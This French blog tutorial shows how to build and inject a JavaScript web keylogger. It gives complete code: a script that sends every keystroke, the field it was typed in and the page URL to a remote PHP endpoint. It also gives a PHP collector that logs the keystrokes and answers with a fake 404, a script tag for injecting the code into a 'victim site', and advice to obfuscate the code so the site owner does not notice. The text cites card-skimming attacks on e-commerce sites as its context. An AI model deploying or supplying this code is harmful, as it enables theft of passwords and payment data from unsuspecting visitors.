NeosLab.com
Collecte

Créer un Keylogger Web basé en Javascript

Des chercheurs estiment que des milliers de sites de ecommerce sont sous le coup d’attaques ciblées sur un vecteur spécifique dans le but d’infecté les serveurs les hébergeant de keylogger.

Les sites de commerce électronique les plus populaires ont été infectés par des keyloggers qui ont été ensuite utilisés pour voler des données de carte de crédit lors de leur saisie dans des formulaires de paiement en ligne. Plus de 100 sites compromis ont été identifiés, mais le nombre pourrait être de plusieurs milliers.

Source: threatpost.com

QU’EST CE QUE NOUS POUVONS FAIRE AVEC UN KEYLOGGER ?

Un keylogger est un type de logiciel qui, une fois actif sur un système, peut enregistrer toutes les frappes effectuées par l’utilisateur. Toutes les frappes sont enregistrées dans un fichier journal. Ainsi un keylogger peut enregistrer un message, un courrier électronique et capturer tout type d’information que vous tapez à tout moment à l’aide de votre clavier.


QUI UTILISE UN KEYLOGGER ?

Un keylogger est un outil de surveillance utilisé par les employeurs pour s’assurer que les employés utilisent leurs ordinateurs de travail à des fins professionnelles uniquement. Il existe également un usage croissant de parents qui souhaitent utiliser ces outils pour rester informés sur les activités en ligne de leur enfant. Mais de nos jours, ces outils sont aussi utilisés par les pirates informatiques pour intercepter les identifiants de messagerie et les informations confidentielles des utilisateurs comme les mots de passe, les numéro de sécurité sociale, les carte de crédit, etc … C’est l’un des moyens les plus simples d’extraire des informations confidentielles.

COMMENT ÇA MARCHE ?

Vous trouverez ci-dessous un exemple de Keylogger Web en JavaScript. Dans cet article, vous allez apprendre comment fonctionne le keylogger ainsi que le type de programmation par lequel nous enregistrons et surveillons chaque frappe saisie par l’utilisateur sur un site.

CRÉER LE KEYLOGGER

Tout d’abord, nous devons créer un environnement de travail et suivre les étapes mentionnées en détail ci-dessous.

Créer un formulaire HTML

<form action="#">
	<label>Firstname:</label>
	<input type="text" name="firstname" placeholder="Mickey" style="width:250px">
	<label>Lastname:</label>
	<input type="text" name="lastname" placeholder="Mouse" style="width:250px">
	<label>Message:</label>
	<textarea name="message" style="width:500px;height:100px;"></textarea>
	<input type="submit" value="Submit">
</form>

Ce formulaire HTML a pour seul but de démontrer comment fonctionne un keylogger.

Créer le fichier JS Keylogger – keylogger.js

if((window.jQuery))
{
	console.log("jQuery Found");
}
else
{
	console.log("jQuery Not Found");
	var script = document.createElement('script');
	script.src = 'https://code.jquery.com/jquery-3.3.1.min.js';
	document.body.appendChild(script);
}

function c(d)
{
	jQuery.ajax(
	{
		dataType: "jsonp",
		type:"GET",
		url: "https://example.com/keylogger.php", // Your Keylogger URL
		jsonp:"keypressed",
		data:
		{
			altnKey:d.altKey?1:0,
			ctrlKey:d.ctrlKey?1:0,
			userKey:d.key,
			targKey:d.target.id,
			userURI:d.target.baseURI
		},
		async:false,
		success: function(data)
		{
			console.log(data);
		},
		error:function(xhr, ajaxOptions, thrownError)
		{
			console.log("Error");
		}
	});	
}

window.onload = function()
{
	window.addEventListener("keydown", function(e) 
	{
		c(e);
	});
}

Le code ci-dessus en JavaScript peut être injecté directement sur le site Web de la victime ou peut être hébergé à distance. Le but de ce code est d’intercepter la séquence de touches de l’utilisateur et de l’envoyer à un serveur distant. Assurez-vous de remplacer “https://example.com/keylogger.php” par l’URL réelle de votre fichier PHP.

Pour gagner du temps, nous allons créer notre script avec jQuery. Donc, pour éviter toute erreur, la première chose à faire est donc de s’assurer que jQuery est présent dans la page du site victime et de le charger au cas où celui-ci ne le serait pas.

Nous déclarons une fonction “c“, avec le paramètre “d” qui représente les saisies de frappe. Cette fonction fait un appel Ajax au fichier PHP qui reçoit les frappes de touches.

Créer le fichier PHP Keylogger – keylogger.php

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');

$file = 'data.txt';
if(!file_exists($file)) 
{
	$fh = fopen($file, 'w');
}

function f($str)
{
	return trim(preg_replace("(\\\)","",htmlentities(strip_tags($str),ENT_QUOTES,'UTF-8')));
}

$altnKey=(int)$_GET['altnKey'];
$ctrlKey=(int)$_GET['ctrlKey'];
$userKey=f($_GET['userKey']);
$targKey=f($_GET['targKey']);
$userURI=f($_GET['URI']);

$string = $altnKey."|".$ctrlKey."|".$userKey."|".$targKey."|".$userURI."\n";

file_put_contents($file, $string, FILE_APPEND);

La partie serveur est en PHP. Il n’y a rien à expliquer sur le code ci-dessus, le but du fichier PHP est de recevoir la valeur de frappe transférée en Ajax par le JavaScript et de la stocker dans un simple fichier texte. Le fichier “keylogger.php” doit être hébergé sur un serveur distant et l’URL du fichier complet doit être spécifiée dans le fichier “keylogger.js”.

Vous pouvez adapter le code ci-dessus en fonction de vos besoins. Par exemple, vous souhaiterez peut-être enregistrer les résultats directement dans une base de données ou les envoyer à une adresse électronique.

Injecter le fichier JS

Maintenant que nous sommes prêts avec notre fichier, nous devons injecter le code JavaScript dans la page du site victime. Pour ce faire, nous allons ajouter la ligne de code ci-dessous à la fin de notre fichier HTML. En situation réelle, vous devez ajouter cette ligne entre les balises . Assurez-vous de remplacer “https://example.com/keylogger.js” par l’URL réelle de votre fichier JS.

<script type="text/javascript" src="https://example.com/keylogger.js"></script>
DEMO

Maintenant, en guise de démonstration rapide, rassemblons tout cela et faisons un test pour voir si cela fonctionne comme prévu. Dans le cadre de notre test, nous utiliserons un serveur “Lamp” basique pour héberger notre fichier HTML et le site “neoslab.com” pour héberger le keylogger. Pour plus d’informations, n’hésitez pas à regarder la vidéo ci-dessous.

OBFUSCATION JAVASCRIPT

Nous pouvons aller plus loin, en utilisant un outil d’obfuscation en ligne afin d’encoder notre code JavaScript et éviter au propriétaire du site de détecter le keylogger immédiatement.

Articles Similaires

Qu’est ce que le Footprinting et la Reconnaissance ?

neoslab

Analyse de Port et Reconnaissance Fingerprinting des OS

neoslab

Les Commandes Nmap les plus Utiles

neoslab

Laisser un commentaire

* By using this form you agree with the storage and handling of your data by this website.

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link